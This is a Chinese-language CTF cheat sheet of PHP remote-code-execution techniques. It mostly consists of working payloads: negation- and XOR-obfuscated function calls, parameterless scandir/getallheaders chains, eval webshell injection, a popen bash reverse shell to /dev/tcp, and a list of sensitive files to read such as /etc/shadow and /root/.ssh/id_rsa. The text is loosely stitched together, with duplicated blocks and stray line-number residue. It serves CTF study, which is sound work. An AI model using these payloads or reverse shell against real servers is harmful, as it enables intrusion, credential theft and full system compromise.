$cmd = "cat *";
$s = "";
echo"(~";
for($i=0; $i<strlen($cmd); $i++){
for($j=128; $j<256; $j++){
if( (~chr($j)) == $cmd[$i] ){
$s .= "%".dechex($j);
}
}
}
echo $s;
echo ")";
php?v1=1&v2=1&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d5):
?v1=1&v2=(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f);&v3=-
?v1=1&v2=1&v3=*(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)*
?v1=1&v2=1&v3=-(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)-
?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d5)|
ls
tree 以树状方式显示目录信息
pwd 查看当前目录路径
find命令用于在指定目录下查找文件和目录
vim 也可以显示目录
cat
sort。sort本是排序命令,但是默认会把执行后的结果输出到终端。tail,默认显示文件尾部的内容。由于flag文件基本不会超过十行,所以作用差不多
tailf:类似于tail -f
tac,以行为单位反序输出文件内容
more file1 查看文件file1的文件内容;
more -num file2 查看文件file2的内容,一次显示num行;
more +num file3 查看文件file3的内容,从第num行开始显示;
less file1
head,查看文件开头的内容
grep "flag" /flag 在文件中搜索一个单词,命令会返回一个包含 “match_pattern” 的文本行
phpsystem('ls');
echo(`ls`); echo+反引号
?><?=`ls`;
<?=是echo()的别名用法,不需要开启short_open_tag。
需要先?>把前面已有的<?php给闭合掉
system("cat /flag");
file_get_contents("/flag");
readfile("/flag");
highlight_file("/flag");
show_source("flag.php")
<?= `ls /`?>
phpecho file_get_contents("/fla"."g");
1.show_source("flag.php")
2.highlight_file("flag.php")
highlight_file(glob("/f*")[0])
3.highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
4.include("flag.php")
5.require("flag.php")
6.require_once("flag.php")
7.readfile("flag.php");
9.try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh= null;}catch(PDOException $e){echo $e->getMessage();}die();
10.echo file_get_contents("flag.php");
print(file_get_contents($_GET[6]))
print(file_get_contents("\x2f\x66\x6c\x61\x67"))
print("\x2f\x66\x6c\x61\x67"); #一个十六进制数,代表一个ASCII字
print("\57\146\154\141\147"); #一个八进制数,代表一个ASCII字符
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
11.var_dump(file('flag.php'));//file — 把整个文件读入一个数组中
12.print_r(file('flag.php'));
13.通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");echo fpassthru($a);
14.非正常读取直接看:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
glob()函数 可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录 glob(“*”)
?cmd=print_r(glob(%27*%27)); 打印当前目录出所有文件
glob()函数 可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录
?cmd=print_r(glob(%27*%27)); 打印当前目录出所有文件
${phpinfo()};//${php代码}
print_r(scandir("/"));
var_dump(scandir("/"));打印一下根目录
show_source(chr(47).chr(102).chr(108).chr(97).chr(103))
printr() fread() fgets() vardump()
?f={passthru("ls -al /")}
?f={passthru("tac%20/_13075")}
?f={fread(popen("/bin/ls%20-al%20/","r"),2096)}
?f={fread(popen("/bin/bzless%20/_13075","r"),2096)}
/index.php?f={print_r(scandir("/"))}
/index.php?f={var_dump(scandir("/"))}
?f={fread(fopen("/_13075","r"),4096)}
echo new SplFileObject('./flag.php');
#读目录下面文件的一种无参读取方法
echo new FilesystemIterator(getcwd());
phphighlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码
file() //echo(implode(file("flag"))) ;
//var_dump(file("flag"));
readfile()
readfile()的代替方法有join(file())以及serialize(file())
show_source()
#读目录下面文件的一种无参读取方法
echo new FilesystemIterator(getcwd());
phpprint_r(scandir(current(localeconv())));是查看当前目录
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
scandir(current(localeconv()))是当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码
highlight_file(end(scandir(current(localeconv()))));
查看当前目录 print_r(scandir(pos(localeconv())));
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
//多试几次
print_r(scandir(chr(ord(hebrevc(crypt(time())))))); //(多刷新几次)
读当前目录最后一个文件 show_source(end(scandir(getcwd())));
读当前目录第一个文件
都当前目录第二个文件 show_source(next(array_reverse(scandir(getcwd()))));
var_dump(getenv(phpinfo()));
eval(end(current(get_defined_vars())));&jiang=phpinfo();
code=eval(end(current(get_defined_vars())));&jiang=system("cat%20flag.php");
getallheaders()
//获取全部 HTTP 请求头信息,返回一个数组,数组中报文头属性是键,报文头属性
内容是值
end()
//将数组的内部指针移动到最后一个单元并返回其值
current()
//返回当前被内部指针指向的数组单元的值,如果指针超出数组,返回 false.
//初始化时指针在第一个
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
pos 是 current 的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。dirname相当与返回上一级目录 即 ../ 例如print_r(scandir(dirname(dirname(dirname(dirname(dirname(getcwd())))))));
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
//array_flip()和 array_rand()配合使用可随机返回当前目录下的文件名
//dirname(chdir(dirname()))配合切换文件路径
print_r(array_rand(array_flip(scandir(dirname(dirname(dirname(dirname(dirname(getcwd())))))))));
//(localeconv())表示
可以配合 数组的指针,倒序,等各种方式找到我们的文件。
getcwd():取得当前工作目录,成功则返回当前工作目录,失败返回 FALSE。
dirname():返回路径中的目录部分,返回 path 的父目录。 如果在 path 中没有斜线,
则返回一个点(’.‘),表示当前目录。否则返回的是把 path 中结尾的 /component(最后一个斜线以及后面部分)
去掉之后的字符串(也就是上级目录的文件路径)。
chdir():改变目录,成功时返回 TRUE, 或者在失败时返回 FALSE。
scandir():列出指定路径中的文件和目录。成功则返回包含有文件名的数组,如果失败则返回 FALSE。
如果 directory 不是个目录,则返回布尔值 FALSE 并生成一条 E_WARNING 级的错误。
array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),
array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,
就可以根据随机的键获取数组的随机值。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
get_defined_vars //gettext别名_ ,所以有时无字符数字webshell可以使用它绕过
echo(chr(strrev(uniqid())));
echo(implode(scandir(chr(strrev(uniqid())))));
echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
chdir(next(scandir(chr(strrev(uniqid())))));
file(end(scandir(chr(strrev(uniqid()))));
echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
var_dump(scandir(getcwd()));
var_dump(scandir(dirname(dirname(dirname(getcwd())))));
//主要就是获取请求时的url值,进行rce
?code=eval(end(current(get_defined_vars())));&test=system('dir');
var_dump(get_declared_classes());
system(current(getallheaders()));然后在请求的时候,将头部第一条信息修改,改成我们想要执行的代码
print_r(current(get_defined_vars()));&b=phpinfo();
phpvar_dump(getenv(phpinfo()));
eval(end(getallheaders()));
eval(end(current(get_defined_vars())));&jiang=phpinfo();
system(next(getallheaders()));
读目录
dirname(chdir(dirname()))配合切换文件路径
/var/www/html/
当前目录/var/www/html/:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件/var/www/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
上上级目录文件/var/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd()))))))));
上上上级目录/根目录 :
highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));
show_source(current(array_reverse(scandir(getcwd())))); //倒着读文件内容
show_source(array_rand(array_flip(scandir(getcwd())))); //随机读取当前目录文件
show_source(array_rand(array_flip(scandir(current(localeconv())))));
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
上级目录
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
查看根目录
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));
?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));
?flag=readfile('flag.php');&code=eval(implode(reset(get_defined_vars())));
?code=eval(current(array_reverse(current(get_defined_vars()))));&flag=system('cat flag.php');
?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag');
?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');
session_id
phpshow_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start())); 或者readgzfile();
修改cookie : PHPSESSID= filename
eval(hex2bin(session_id(session_start())));
抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)
取反+无参数rce:
phpdef one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
phpeval(end(getallheaders()));
phpvar_dump(next(getallheaders()));
3.array_flip()和 array_rand()配合使用可随机返回当前目录下的文件名
phpGET /class10/1.php?code=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
php当前目录:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
以上两个都是随机获取
php读目录
dirname(chdir(dirname()))配合切换文件路径
/var/www/html/
当前目录/var/www/html/:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件/var/www/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
上上级目录文件/var/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd()))))))));
上上上级目录/根目录 :highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));
4.代码
<?php highlight_file(__FILE__); $code = $_GET['code']; if (!empty($code)) { if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } else { echo "No way!!!"; } }else { echo "No way!!!"; }
flag在上层目录的index.php中
看看正则过滤
可以通过 https://regex101.com/%60 测试正则 验证正则不限制什么
这块过滤了很多的php函数 可以采用下面方法来获得没被过滤的php内置函数
获取PHP内置函数脚本
<?php $a = get_defined_functions()['internal']; $file = fopen("function.txt","w+"); foreach ($a as $key ) { echo fputs($file,$key."\r\n"); } fclose($file); ?>
查找能使用的函数脚本
import re f = open('function.txt','r') for i in f: function = re.findall(r'/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/',i) if function == [] and not '_' in i: print(i)
构造payload
这道题flag在上层的目录下的index.php 所谓得跳到上层目录读取index.php 所以我们得先构造如何调到上册目录的payload 也就是scandir('..') 如何构造呢?可以使用uniqid()函数 它能够生成动态字符串,他的牵绊部分是固定的,后半部分是动态变化的 我们可以使用strrev()函数反转一下字符串 然后就可以使用插入函数动态的构造任意字符 不过它只能生成一个. 再加上scandir()函数就可以返回当前目录下的文件 如何让他里面有两个..呢?
scandir(strrev(uniqid()));
可以在linux特性中我们查看当前文件他会返回 . .. 文件A 所以我们要用next指定下一个也就是 ..可以构造后我们也就可以构造返回到上册目录了
scandir(next(scandir(strrev(uniqid())))));
如何将上册目录输出在页面 因为scandir()返回的是目录的数组,本来使用var_dump输出但是被过滤了 用echo输出不了 这时可以使用implode将数组元素组成为字符串用echo输出这样构造的payload
echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
使用Null payloads进行读取
现在想办法读取index
readfile被过滤了。。。
if 也不行
可以使用file来读取 用end获取scandir返回的最后一个元素也就是index.php
我们先使用chdir跳转到上一层目录
payload
chdir(next(scandir(chr(strrev(uniqid())))));
然后使用file函数读取文件 用end取得最后一个元素然后用file读取
file(end(scandir(chr(strrev(uniqid())))))
结合起来最终payload
echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
这个payload缺陷就是 要两边都为. 才行 null payload 运气不好近9万次才得到。。。。
用到的php函数(部分)
uniqid() 生成唯一一个ID strrev() — 反转字符串 implode(separator,array)-把数组元素组成为字符串 separator-可选。规定数组元素之间放置的内容 默认"" array-必须,需要组合为字符串的数组 next()-函数将内部指针指向数组中的下一个元素,并输出。 chr() 函数从指定的 ASCII 值返回字符。 file() 函数把整个文件读入一个数组中。 end — 将数组的内部指针指向最后一个单元 chdir() — 改变目录
这里只截取部分进行讨论
php<?php
$code=@$_POST['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
@eval($code);
}
}
else
{
echo 'NO first';
}
?>
123456789101112131415
题目通过正则表达式来限制传入函数的模式只能为a(b(c()));类似的嵌套模式. 如果我们能得到’.‘字符,就可以通过scandir()扫描目录. 下面提供几种在该模式下获取’.'的方法:
php<?php
echo pos(localeconv());
# .
echo chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
# .
?>
123456
题目中flag和页面并不在一个页面,scandir(’.’)扫描当前目录后回显是’.’,’…’,第二个元素是…,所以还需要通过chdir("…")来切换目录,chdir()的返回值为1. 所以我们还需要通过一些手段来让1变为46 其中一种方法是通过time()函数,该函数可参数可以随意传
phppos(localtime(time()));
1
该函数会返回一个0~60之间的值. 得到最终payload:
phpcode=echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
1
一秒发一个包即可得到flag
php<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "No way!!!";
}
}else {
echo "No way!!!";
}
No way!!!
123456789101112131415161718
相比之前的题目,这道题目把time()和readfile()还有local给ban了 这里再介绍一种获得’…'的方法:
phpnext(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile())))))))))))
1
同时readfile()的代替方法有join(file())以及serialize(file()) and获得47的方法还有
phpfloor(tan(tan(atan(atan(ord(cos(1)))))))
1
有最终payload
php?code=echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));
1
但是感觉这样的作法就很玄学,不是很通用,然后队里有个学长应该是看了一片关于三角函数表示有理数的文章,写了个脚本也达到了获得相应数字的目的,贴一下文章
php/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history //root的bash历史记录,每个用户的家目录下都有这么一个文件
/root/.ssh/authorized_keys
/root/.mysql_history //mysql的bash历史记录
/root/.wget-hsts
/opt/nginx/conf/nginx.conf //nginx的配置文件
/var/www/html/index.html
/etc/my.cnf
/etc/httpd/conf/httpd.conf //httpd的配置文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/proc/config.gz
/proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts // 挂载的文件系统列表
/proc/net/arp //arp表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存,可用于泄露内网网段
/proc/version // 内核版本
//以下文件若不知道PID,用self代替也可以
/proc/1/environ
/proc/[PID]/cmdline // 可能包含有用的路径信息
/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell。也有例如flask的题目会把SECRET KEY放里面
/proc/[PID]/cwd // 当前进程的工作目录
/proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
/proc/self/cmdline //获取当前启动进程的完整命令
/proc/self/mem //进程的内存内容。注意该文件内容较多而且存在不可读写部分,直接读取会导致程序崩溃。需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
/proc/self/maps //当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
/sys/class/net/eth0/address //eth0网卡的MAC地址
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
常见web日志文件路径(linux):
/etc/httpd/logs/access.log
/var/www/nginx/access.log
/var/log/httpd/access.log
/var/log/apaches/access.log
printenv env declare set echo $HOME enable export
shellWINDOWS系统支持的管道符: “|”:“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推 例如:ping www.baidu.com|whoami “||”:如果前面执行的语句执行出错,则执行后面的语句。 例如:ping www.baidu.com||whoami “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 例如: ping www.baidu.com&whoami “&&”:如果前面的语句为真先执行第一个命令后执行第二个命令: 为假则直接出错,也不执行后面的语句。 ping www.baidu.com&&whoami LINUX系统支持的管道符: “;”执行完前面的命令执行后面的。 “|”:直接执行后面的语句 [root@master ~]# ping www.baidu.com | whoami root “||”:当前面的语句执行出错时,执行后面的语句。 [root@master ~]# ping www.baiduu.com.cndewfsfrsf || whoami ping: www.baiduu.com.cndewfsfrsf: Name or service not known root [root@master ~]# “&”:如果前面的语句为假,则直接指向后面的语句,前面的语句可真可假。 [root@master ~]# ping www.baiduu.com.cndewfsfrsf & whoami [1] 31309 root “&&”:如果前面的语句为假则直接出错,也不执行后面的语句。 [root@joyboy html]# ping www.baidu.com -c 2&& whoami PING www.a.shifen.com (110.242.68.3) 56(84) bytes of data. 64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=1 ttl=54 time=56.8 ms 64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=2 ttl=54 time=11.3 ms --- www.a.shifen.com ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 11.347/34.112/56.878/22.766 ms root [root@joyboy html]# ping www.baidu.comm -c 2&& whoami ping: www.baidu.comm: Name or service not known [root@joyboy html]#
php?><?=`ls`;
<?= `ls /`?>
include$_GET[1]
1.system() 执行外部程序(命令行)并返回命令输出的第一行为字符串. 失败返回 false,如果没有找到命令返回空字符串.
2.passthru() 于 system()不同,passthru()直接把命令执行的结果输出到标准输出,而不返回. NULL 是 var_dump()输出的结果
3.shell_exec() 返回输出第一行的内容,无回显.需要反弹 shell 使用.
4.exec() 不回显,返回命令执行的结果. 需要反弹 shell 使用 在实测这几个函数的时候,遇到了一个事情.我发现我的换行符没法换行了.这其实是因 为我把双引号打成单引号了,没想到 php 的单引号里什么都不解析
5.popen反弹shell
phpgggoku.php?a=${eval($_POST[0])}
POST:
$fd=popen("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",'r');
while($s=fgetss($fd)){
print_r($s);
}
6.{php代码}
phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 危险等级:中
passthru() 功能描述:允许执行一个外部程序并回显输出,类似于 exec()。 危险等级:高
exec() 功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 危险等级:高
system() 功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。 危险等级:高
chroot() 功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式 PHP 时才能工作,且该函数不适用于 Windows 系统。 危险等级:高
scandir() 功能描述:列出指定路径中的文件和目录。 危险等级:中
chgrp() 功能描述:改变文件或目录所属的用户组。 危险等级:高
chown() 功能描述:改变文件或目录的所有者。 危险等级:高
shell_exec() 功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。 危险等级:高
proc_open() 功能描述:执行一个命令并打开文件指针用于读取以及写入。 危险等级:高
proc_get_status() 功能描述:获取使用 proc_open() 所打开进程的信息。 危险等级:高
error_log() 功能描述:将错误信息发送到指定位置(文件)。 安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe
mode, 执行任意命令。 危险等级:低
ini_alter() 功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。 具体参见 ini_set()。 危险等级:高
ini_set() 功能描述:可用于修改、设置 PHP 环境配置参数。 危险等级:高
ini_restore() 功能描述:可用于恢复 PHP 环境配置参数到其初始值。 危险等级:高
dl() 功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 危险等级:高
pfsockopen() 功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。 危险等级:高
syslog() 功能描述:可调用 UNIX 系统的系统层 syslog() 函数。 危险等级:中
readlink() 功能描述:返回符号连接指向的目标文件内容。 危险等级:中
symlink() 功能描述:在 UNIX 系统中建立一个符号链接。 危险等级:高
popen() 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 危险等级:高
stream_socket_server() 功能描述:建立一个 Internet 或 UNIX 服务器连接。 危险等级:中
putenv() 功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数 修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 危险等级:高
原理:利用base_convert()函数的进制转换构造字符串
phpbase_convert() 函数在任意进制之间转换数字。(不能转换除数字外的字符)
语法
base_convert(number,frombase,tobase);
Php
参数 | 描述 |
---|---|
number | 必需。规定要转换的数。 |
frombase | 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 |
tobase | 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 |
技术细节 | 返回值:number 转换为指定进制。 |
返回类型:String | |
PHP 版本:4+ |
eg:
php<?php
echo base_convert('phpinfo',36,10);
#55490343972
?>
<?php
echo base_convert(55490343972,10,36);
#phpinfo
?>
Php
因为数学函数无法构造非数字字符,所以这里采用此函数
获取全部 HTTP 请求头信息
(PHP 4, PHP 5, PHP 7)
phpbase_convert(8768397090111664438,10,30);//使用30进制防止丢精度
getallheaders(void): array
返回包含当前请求所有头信息的数组,失败返回FALSE。
Php
运用方法类似于一句话木马
phpsystem('getallheaders'(){1})
在请求头中写入命令
1:xxx
$param = $_REQUEST['param']; if ( strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false ) { eval($param); }
这种情况下,也有一些payload可用,
大概思路是利用外部get引入payload,进行执行
或者想办法写入一个文件,进行包含操作
姿势一:
`$_GET[1]`
是php的执行运算符,同shell_exec("") ,如果disable_function ban了shell_exec ,那么也无法使用,注意
是会先按照php 的"规则,来处理里面的输入的,也就是说,里面的php变量会被解析,
相似姿势exec($_GET[1])
姿势二:
include$_GET[1]
会包含执行$_GET[1]地址中的内容
然后就可以参考LFI/RFI的姿势进行rce
也可以利用现在长度的命令执行多次调用
index.php?1=file_put_contents¶m=$_GET[1](N,P,8) index.php?1=file_put_contents¶m=$_GET[1](N,D,8) ... index.php?1=php://filter/read=convert.base64-encode/resource=N&parmas=include$_GET[1]
8是file_get_contents,的flag位FILE_APPEND,既写入文件存在就附加的 flag定义的值,通过多次调用写文件操作,把shell的base64写入,然后包含执行
姿势三:
param传入usort(...$_GET); 然后执行任意命令 http://127.0.0.1:60777/?1[]=}eval($_POST[_]);/*&1[]=&2=create_function
phpphpinfo();
[~%8f%97%8f%96%91%99%90][!%FF]();
(~%8F%97%8F%96%91%99%90)();
"\160\150\160\151\156\146\157"();
"\x70\x68\x70\x69\x6e\x66\x6f"();
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
('phpinfo')();
("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")();
php<?php
dangerous_functions = array('pcntl_alarm','pcntl_fork','pcntl_waitpid','pcntl_wait','pcntl_wifexited','pcntl_wifstopped','pcntl_wifsignaled','pcntl_wifcontinued','pcntl_wexitstatus','pcntl_wtermsig','pcntl_wstopsig','pcntl_signal','pcntl_signal_get_handler','pcntl_signal_dispatch','pcntl_get_last_error','pcntl_strerror','pcntl_sigprocmask','pcntl_sigwaitinfo','pcntl_sigtimedwait','pcntl_exec','pcntl_getpriority','pcntl_setpriority','pcntl_async_signals','error_log','system','exec','shell_exec','popen','proc_open','passthru','link','symlink','syslog','ld','mail', 'mbstring', 'imap_open', 'imap_mail', 'libvert_connect', 'gnupg_init', 'imagick')
// Loop through dangerous functions and print if it is enabled
foreach($dangerous_functions as $function) {
if (function_exists($function) {
echo $function . " is enabled";
}
}
常见魔术方法:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get(name) //当你尝试读取一个类中不存在或不可访问的属性时,__get 方法会被调用。它接收一个参数 name,表示你试图访问的属性名。 __set(value) //当你尝试设置一个类中不存在或不可访问的属性时,__set 方法会被调用。它接收两个参数:value 表示要设置的值。
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
第一关主要考察PHP中md5弱类型比较的特点,只需要找到两个值不同但md5值以0e开头的字符串即可通过本关,原理是0e在进行弱类型比较时会被当作科学计数法进行比较。
phpif(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708
第二关主要考察PHP哈希函数的特性,在处理数组类型的传参时,md5、sha1等哈希函数会返回NULL值,由此可以构造出NULL===NULL从而通过判断。
phpif($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708
POST-DATA: key3[]=1
第三关主要考察strcmp函数特性,如果传入的参数为数组类型,该函数就会返回NULL值,构造NULL==0从而通过判断
phpif($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708&key4[]=2
POST-DATA: key3[]=1
第四关主要考察is_numeric函数特性,在传入的数字后加入任意字母即可通过本层的判断。
i
phpf($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
